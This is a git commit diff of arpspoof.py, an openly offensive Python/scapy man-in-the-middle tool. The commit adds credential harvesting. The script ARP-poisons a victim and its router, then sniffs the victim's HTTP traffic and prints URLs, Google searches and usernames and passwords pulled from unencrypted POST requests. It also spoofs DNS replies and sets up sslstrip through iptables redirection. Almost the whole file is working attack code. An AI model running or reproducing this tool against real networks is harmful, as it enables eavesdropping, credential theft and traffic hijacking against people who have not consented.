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https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-07 13:32:14 -07:00
Tons of new stuff added like consistent HTTP password pulling
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DanMcInerney
parent
39d73cc154
commit
c603fc4a43
1 changed files with 143 additions and 54 deletions
181
arpspoof.py
181
arpspoof.py
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@ -5,7 +5,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
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from scapy.all import *
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conf.verb=0
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#Below is necessary to receive a response to the DHCP packets for some reason. If you know the answer to that message me.
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conf.checkIPaddr=0
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conf.checkIPaddr=1
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import time
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import sys
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import threading
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@ -13,6 +13,7 @@ import argparse
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import sys
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import os
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import signal
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import urlparse
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import commands
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bash=commands.getoutput
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@ -26,12 +27,29 @@ parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing
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parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true")
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parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.")
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parser.add_argument("-i", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
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parser.add_argument("-g", "--google", help="Print google searches.", action="store_true")
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parser.add_argument("-g", "--google", help="Print Google searches, and show nonHTTPS links they click on from the search results.", action="store_true")
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parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
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parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits.", action="store_true")
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parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument")
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parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames and passwords in unsecure HTTP POSTs", action="store_true")
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args = parser.parse_args()
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class colors:
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PURPLE = '\033[95m'
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BLUE = '\033[94m'
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OKGREEN = '\033[92m'
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TAN = '\033[93m'
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RED = '\033[91m'
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ENDC = '\033[0m'
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def disable(self):
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self.HEADER = ''
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self.OKBLUE = ''
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self.OKGREEN = ''
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self.TAN = ''
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self.RED = ''
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self.ENDC = ''
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#Find the gateway and use it as the router's info
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routerCmd = bash('ip route')
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routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', routerCmd)
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@ -40,16 +58,16 @@ IPprefix = routerRE.group(2)
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interface = routerRE.group(3)
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localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
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if args.dnsspy or args.dnsspoof:
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print "Checking if the router is the DNS server..."
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print "Checking the DNS server..."
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dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
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ans, unans = srp(dhcp_discover, timeout=5, retry=2)
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ans, unans = srp(dhcp_discover, timeout=7, retry=2)
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if ans:
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for p in ans:
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DNSserver = p[1][IP].src
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print "DNS server at:", DNSserver, '\n'
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else:
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print "No answer to DHCP packet sent to find the DNS server.\n"
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print "No answer to DHCP packet sent to find the DNS server. Setting DNS server to router IP.\n"
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DNSserver = routerIP
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if args.ipaddress:
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victimIP = args.ipaddress
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@ -62,7 +80,7 @@ else:
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def originalMAC(ip):
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# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
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ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=7, retry=3)
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ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
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for s,r in ans:
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return r.sprintf("%Ether.src%")
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@ -71,22 +89,63 @@ def poison(routerIP, victimIP):
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send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
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def restore(routerIP, victimIP, routerMAC, victimMAC):
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send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=5)
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send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=5)
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send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
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send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
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def URL(pkt):
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if pkt.haslayer(Raw):
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request = pkt[Raw].load
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searchGET = re.compile('GET')
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get = searchGET.search(request)
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searchHost = re.compile('Host:')
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host = searchHost.search(request)
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if get and host:
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a = request.split("\r\n")
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b = a[1].split(" ")
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c = a[0].split(" ")
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url = b[1]+c[1]
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print url
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# Counter is to make sure we're not printing packet data twice if both username and password is found
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counter = 0
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# We add pkt[Ether].src check to make sure we're not messing with retransmitted packets
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if pkt.haslayer(Raw) and pkt[Ether].src == victimMAC:
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pkt = repr(pkt[Raw].load)
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try:
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headers, body = pkt.split(r"\r\n\r\n")
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except:
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headers = pkt
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body = ''
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post = re.search('POST /', headers)
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get = re.search('GET /', headers)
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host = re.search('Host: ', headers)
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#The big unsolvable problem is that sometimes sniff() will get a packet (usually from the arp spoofed victim)
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#and split it into 2 packets when wireshark sees only one. Consistently from neopets via arpspoof victim. The load
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#gets truncated and sniff() then treats the other few lines of the HTTP load as a new packet for some reason.
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#http://bpaste.net/show/v2CsP4Ixzb7NGGuutDSp/
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if args.post and len(headers) < 450 and not get:
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username = re.finditer('(([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
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password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
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for x in username:
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if x:
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print colors.TAN,'[+] Packet was split by accident. Username Data:',headers, colors.ENDC
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print colors.RED,x.group(),colors.ENDC
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counter = 1
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for y in password:
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if y:
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if counter == 0:
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print colors.TAN, '[+] Packet was split by accident. Password data:', headers, colors.ENDC
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print colors.RED, y.group(), colors.ENDC
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counter = 0
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if (post or get) and host:
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a = headers.split(r"\r\n")
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try:
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b = a[0].split(" ")
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c = a[1].split(" ")
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url = c[1]+b[1]
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except:
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print "Could not form url"
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return
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if args.post and post:
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if body != '':
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print colors.TAN+'[+] POST:',url,'HTTP POST load:',body+colors.ENDC
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password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
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username = re.finditer('(([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
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if username:
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for x in username:
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print colors.RED,x.group(),colors.ENDC
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if password:
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for y in password:
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print colors.RED,y.group(),colors.ENDC
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if args.urlspy:
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d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
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if any(i in url for i in d):
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@ -95,12 +154,43 @@ def URL(pkt):
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if args.verboseURL:
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print url
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if args.google:
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if 'google' in url:
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r = re.findall(r'(?i)\&q=(.*?)\&', request)
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if 'google.com' in url:
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r = re.findall(r'(?i)\&q=(.*?)\&', url)
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if r:
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search = r[0].split('&')[0]
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search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'')
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print '%s googled:' % victimIP, search
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search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=')
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print colors.BLUE + '[+] Googled:',search + colors.ENDC
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try:
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g,s = url.split('http%3A%2F%2F')
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s = s.replace('%2F', '/').replace('%3F', '?').replace('%3D', '=')
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s = s[:s.find('&')]
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print colors.BLUE + '[+] Clicked this link from a Google search:',s + colors.ENDC
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except:
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pass
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# bodyParsed = urlparse.parse_qs(body)
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# print bodyParsed
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# try:
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# value = next(v for (k,v) in bodyParsed.iteritems() if passwd or username in k)
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# print value
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# except:
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# print 'this post does not have username or password data'
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# for k,v in bodyParsed.iteritems():
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# if passwd or username in k:
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# print bodyParsed[k]
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# if args.post and post:
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# print '%s POSTed to:' % victimIP, url
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# print request
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# username = re.search('([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin)=[^&]*', request)
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# if username:
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# print username.group()
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# else:
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# print "Could not find username"
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def DNSreq(pkt):
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if pkt.haslayer(DNSQR):
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@ -116,6 +206,8 @@ def mkspoof(DNSpkt):
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class urlspy(threading.Thread):
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def run(self):
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# This is in case you need to test the program without an actual victim
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# sniff(store=0, filter='port 80', prn=URL, iface=interface)
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sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface)
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class dnsspy(threading.Thread):
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@ -125,13 +217,13 @@ class dnsspy(threading.Thread):
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class dnsspoof(threading.Thread):
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def run(self):
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while 1:
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a=sniff(filter='port 53 and host %s' % victimIP, count=1, promisc=1)
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a=sniff(filter='port 53 or port 80 and host %s' % victimIP, count=1, promisc=1)
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DNSpkt = a[0]
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if not DNSpkt.haslayer(DNSQR):
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continue
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if args.dnsspoof in DNSpkt.qd.qname:
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send(mkspoof(DNSpkt))
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print 'Sent spoofed DNS response packet for', DNSpkt.qd.qname
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print colors.OKGREEN + '[+] Spoofed:', DNSpkt.qd.qname + colors.ENDC
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#class ssltrip(threading.Thread):
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# def run(self):
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@ -140,6 +232,17 @@ def sslstrip():
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ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
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sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt')
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print "Active interface = " + interface
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print "Router IP = " + routerIP
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print "Client IP = " + victimIP
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try:
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routerMAC = originalMAC(routerIP)
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print "Router MAC: " + routerMAC
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victimMAC = originalMAC(victimIP)
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print "Victim MAC: " + victimMAC + "\n"
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except:
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sys.exit("Could not get MAC addresses")
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def main():
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#Forward packets and flush iptables
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@ -150,19 +253,7 @@ def main():
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ipNATX = bash('iptables -t nat -X')
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print 'Enabled IP forwarding and flushed the firewall\n'
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print "Active interface = " + interface
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print "Router IP = " + routerIP
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print "Client IP = " + victimIP
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try:
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routerMAC = originalMAC(routerIP)
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print "Router MAC: " + routerMAC
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victimMAC = originalMAC(victimIP)
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print "Victim MAC: " + victimMAC + "\n"
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except:
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sys.exit("Could not get MAC addresses")
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if args.urlspy or args.google or args.verboseURL:
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if args.urlspy or args.google or args.verboseURL or args.post:
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ug = urlspy()
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#Make sure the thread closes with the main program on Ctrl-C
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ug.daemon = True
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@ -174,7 +265,6 @@ def main():
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dt.start()
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if args.driftnet:
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time.sleep(5)
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driftnet = bash('xterm -e driftnet -i %s' % interface)
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if args.sslstrip:
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@ -190,7 +280,9 @@ def main():
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restore(routerIP, victimIP, routerMAC, victimMAC)
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restore(routerIP, victimIP, routerMAC, victimMAC)
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ipforwardoff = bash('echo 0 > /proc/sys/net/ipv4/ip_forward')
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flush = bash('iptables -t nat -F')
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flush1 = bash('iptables -t nat -F')
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flush2 = bash('iptables -F')
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flush3 = bash('iptables -X')
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sys.exit(0)
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signal.signal(signal.SIGINT, signal_handler)
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@ -199,11 +291,8 @@ def main():
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while 1:
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poison(routerIP, victimIP)
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try:
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if DNSserver != routerIP:
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if not DNSserver == routerIP:
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poison(DNSserver, victimIP)
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except Exception:
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pass
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time.sleep(1.5)
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